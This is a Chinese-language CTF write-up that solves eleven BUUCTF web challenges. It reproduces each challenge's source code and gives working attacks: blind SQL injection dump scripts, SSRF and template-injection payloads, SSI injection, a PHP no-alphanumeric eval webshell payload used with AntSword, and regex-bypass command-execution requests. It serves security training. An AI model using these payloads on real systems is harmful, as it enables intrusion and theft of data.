BUUCTF刷题十一道(06)

文章目录

  • [De1CTF 2019]SSRF Me
  • [极客大挑战 2019]FinalSQL
  • [CISCN2019 华东南赛区]Web11
  • [BSidesCF 2019]Futurella
  • [SUCTF 2019]Pythonginx
  • [BJDCTF2020]EasySearch
  • [BSidesCF 2019]Kookie
  • [极客大挑战 2019]RCE ME
  • [MRCTF2020]套娃
  • [WUSTCTF2020]颜值成绩查询
  • [FBCTF2019]RCEService

[De1CTF 2019]SSRF Me

代码整理:

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)
 
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
 
@app.route('/')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
 
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):
    return hashlib.md5(content).hexdigest()
 
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

三个路由:

'/'
'/De1ta'
'/geneSign'

/就是读代码然后打出来
/geneSign作用

  • geneSign()函数:获取输入的param参数,执行函数getSign(scan,param)
  • getSign()函数:将传来的scanparammd5加密传回

/De1ta作用

  • cookie读取actionsign,从GET请求读取param,读取请求ip
  • waf函数过滤以gopherfile开头的param
  • (action,param,sign,ip)回Task类
  • task.Exec()执行结果输出
  • Task类初始化,对ipmd5加密,没有路径关键字在其中就建一个md5加密后的ip为名的目录
  • checkSign()函数,getSign()处理后的md5值和cookie传入的sign值进行弱比较
  • 弱比较成功之后,如果cookie传的actionscan关键字,就写入scan(param),如果有read,就可以读对应内容

总结一下就是:
param放要读的文件flag.txt
cookie里的action+GET里的param加密后要等于cookie里的sign
geneSign告诉我们param+关键字action的MD5加密是多少
那我们在/geneSign页面传param=flag.txtread就能算出来secret_key+flag.txt+readscan的值是多少,可以绕过弱比较

BUUCTF刷题十一道(06)_第1张图片
最终,回到/De1ta页面,GET传参param=flag.txtcookie传参action=readscan;sign=373113c5d0074f5f2ef7721e3d02fff4可以得到flag,密钥不同环境不同

BUUCTF刷题十一道(06)_第2张图片

================================================

[极客大挑战 2019]FinalSQL

参考博客

BUUCTF刷题十一道(06)_第3张图片
映入眼帘五个按钮,逐个按下来让按第六个,选中附近检查源码

在这里插入图片描述
删注释框,改类型为submit,加value="6"

BUUCTF刷题十一道(06)_第4张图片
URL里有id参数

用异或盲注,脚本来自参考博客

import requests
import time

url="http://8bf0bc1e-3d13-4d37-9342-dc640f9d2b08.node4.buuoj.cn:81/search.php"

# 0^(ord(substr(database(),1,1))>32)
def getDatabase():
    database_name=""
    for x in range(1,1000):
        low = 32
        hight = 127
        mid=(low+hight)//2
        while low < hight:
            params={
                "id":"0^(ord(substr((select(database())),"+str(x)+",1))>"+str(mid)+")"
            }
            r=requests.get(url=url,params=params)
            if "others~~~" in r.text:
                low = mid+1
            else:
                hight = mid
            mid=(low+hight)//2
        if low <=32 or hight >= 127:
            break
        database_name += chr(mid)
        print("数据库为:",database_name)

def getTable(): # 获取表名
    tables_name = ""
    for x in range(1,1000):
        left = 32
        right = 127
        mid=(left+right)//2
        while left < right:
            params = {
                "id" : "0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(x)+",1))>"+str(mid)+")"
            }
            r=requests.get(url=url,params=params)
            if "others~~~" in r.text:
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if left < 32 or right > 127:
            break
        tables_name += chr(mid)
        print("table:",tables_name)
        time.sleep(1)
#  F1naI1y,Flaaaaag
def getColmun():
    column_name=""
    for x in range(1,1000):
        left=32
        right=127
        mid=(left+right)//2
        while left<right:
            while left < right:
                params = {
                    "id": "0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y'))," + str(x) + ",1))>" + str(mid) + ")"
                }
                r = requests.get(url=url, params=params)
                if "others~~~" in r.text:
                    left = mid + 1
                else:
                    right = mid
                mid = (left + right) // 2
            if left < 32 or right > 127:
                break
            column_name += chr(mid)
            print("column:",  column_name)
            time.sleep(1)

def getFlag():
    flag=""
    for x in range(1,1000):
        left=32
        right=127
        mid=(left+right)//2
        while left<right:
            while left < right:
                params = {
                    "id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(x) + ",1))>" + str(mid) + ")"
                }
                r = requests.get(url=url, params=params)
                if "others~~~" in r.text:
                    left = mid + 1
                else:
                    right = mid
                mid = (left + right) // 2
            if left < 32 or right > 127:
                break
            flag += chr(mid)
            print("flag:",  flag)
            time.sleep(1)
getDatabase()
getTable()
getColmun()
getFlag()

======================================================

[CISCN2019 华东南赛区]Web11

改XFF,IP地址会随之改变

BUUCTF刷题十一道(06)_第5张图片
没思路,随便输点什么看看有没有报错

在这里插入图片描述
在这里插入图片描述
模板注入,参考博客

{system('cat ../../../../../../flag')}

======================================================

[BSidesCF 2019]Futurella

BUUCTF刷题十一道(06)_第6张图片
ctrl+U

擦,源码底部给了flag,以为是假的,试了试是对的

BUUCTF刷题十一道(06)_第7张图片
不过如果你复制这些文字去搜索内容的时候也会看到翻译后的内容,这里应该是应用了class换了原文的显示形式

=======================================================

[SUCTF 2019]Pythonginx

参考博客
参考博客2

老样子,ctrl U自动整理代码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
        

特殊字符经过inda编码再utf-8解码可以出来一些字符组合

要绕过前两个if,匹配第三个if,将特殊字符整进去,解码后能拼成要检测的值

常用nginx路径:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

要求跑出来经过inda编码再utf-8解码之后==c或者其他suctf.cc中的字符也行

脚本参见博客

file://suctf.cℂ/../../../../..//usr/local/nginx/conf/nginx.conf
file://suctf.cℂ/../../../../..//usr/fffffflag
或者不用../也行

========================================================

[BJDCTF2020]EasySearch

参考博客

源码


    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    echo '
    
    
    
    Login
    
    
    
    
    
    ';

    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        // $_POST['username'];
        $admin = '6d0bc1';
        // 14795508
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            
            
                
                Document
            
            
                

Hello,'.$_POST['username'].'


data:


Client IP:

'
; fwrite($shtml,$text); fclose($shtml); // echo 'File:',$file_shtml; header("Url_Is_Here:".$file_shtml); echo "[!] Header error ..."; } else { echo ""; echo '

如果密码md5加密之后截前六位与设定好的username相等,就登陆成功

撞一下md5

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6]=='6d0bc1':
        print(i)
        break
#2020666
   $file_shtml = "public/".get_hash().".shtml";
   header("Url_Is_Here:".$file_shtml);
   #新建了一个文件并且文件名请求头里面了

BUUCTF刷题十一道(06)_第8张图片

访问这个页面,可控元素应该就这个POST过来的username

shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来。

指令格式:

payload:
username=&password=2020666

username=&password=2020666

========================================================

[BSidesCF 2019]Kookie

ctrl U

没有可用内容,传值也没什么

说是cookie,抓包看没有设置cookie,加一个cookie头试试
cookie: username=admin

BUUCTF刷题十一道(06)_第9张图片
擦,直接出flag了

========================================================

[极客大挑战 2019]RCE ME

https://blog.csdn.net/qq_43801002/article/details/107760421


error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

无字母无数字,考虑异或RCE和取反RCE,异或的payload太长,参考别人的用取反

echo (~'phpinfo')
#%8F%97%8F%96%91%99%90

#尝试system函数没有回显,一片黑
echo urlencode(~'assert')."\n";

echo urlencode(~'(eval($_POST[a]))');

#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6

不明白为什么连起来写成功不了

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

连蚁剑

用蚁剑的UAF插件绕过

终端运行readflag

蚁剑从插件市场安装插件要先设置本地代理,要不然就下载源码放到antSword-master\antData\plugins目录下

=========================================================

[MRCTF2020]套娃

https://blog.csdn.net/m0_52199518/article/details/115997713

什么也没有是不可能的,直接打开源码

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

要求检测到传值不能有下划线,但是变量名得有下划线,利用PHP变量解析漏洞,下划线换成空格传值

下面要求传的值不等于23333但又要求值以23333开头并结尾,可以在末尾加入换行符%0a

b u p t=23333%0a

BUUCTF刷题十一道(06)_第10张图片
BUUCTF刷题十一道(06)_第11张图片
源码里有一段脚本,能从console直接运行的

BUUCTF刷题十一道(06)_第12张图片
POST传Merak

error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."
"
; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); }

change()对参数进行了内容转换,最终会从这个转换后的参数读文件名,要构造一个字符串,转换后是flag.php

可能还会有xff头识别

要求读文件内容===todat is a happy day,不知道文件就用data伪协议

XFF不能用,从参考博客学到新姿势CLIENT-IP

打印内容用data://text/plain,todat is a happy day

change()函数中我们把+改成-,进行逆运算



function change($v){ 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}

$a='flag.php';

echo base64_encode(change($a));

BUUCTF刷题十一道(06)_第13张图片

=====================================================

[WUSTCTF2020]颜值成绩查询

看了网页源码没有东西,只能输学号,试了试也没有报错,应该是盲注

直接用之前搞得异或盲注

0^(ord(substr(database(),0,1))>32)测试成功

import requests
import time

url="http://6d6430c9-048f-48e1-899f-b4557cefb236.node4.buuoj.cn:81"

i=0

result=""
for x in range(1,1000):
    low = 32
    hight = 127
    mid=(low+hight)>>1
    while low < hight:
        params={
            #"stunum":"0^(ord(substr((select(database())),"+str(x)+",1))>"+str(mid)+")"
            #"stunum":"0^(ord(substr((select(group_concat(table_name))from(information_schema.columns)where(table_schema=database())),"+str(x)+",1))>"+str(mid)+")"
            #"stunum":"0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),"+str(x)+",1))>"+str(mid)+")"
        	"stunum":"0^(ord(substr((select(value)from(flag)),"+str(x)+",1))>"+str(mid)+")"
        }
        r=requests.get(url=url,params=params)
        if "your score is: 100" in r.text:
            low = mid+1
        else:
            hight = mid
        mid=(low+hight)//2
    if low <=32 or hight >= 127:
        break
    result += chr(mid)
    print("result:",result)

========================================================

[FBCTF2019]RCEService

http://www.manongjc.com/detail/15-jpgjfyubczfhrow.html



putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected

'
; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'
; } else { echo 'Attempting to run command:
'
; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'
; } } ?>

源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令

cat命令在/bin中保存

因为可以preg_match只会去匹配第一行,所以这里可以用多行进行绕过

{%0A"cmd":"ls /home/rceservice/"%0A}

BUUCTF刷题十一道(06)_第14张图片
{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

你可能感兴趣的:(Web,靶场,网络安全,ctf,web)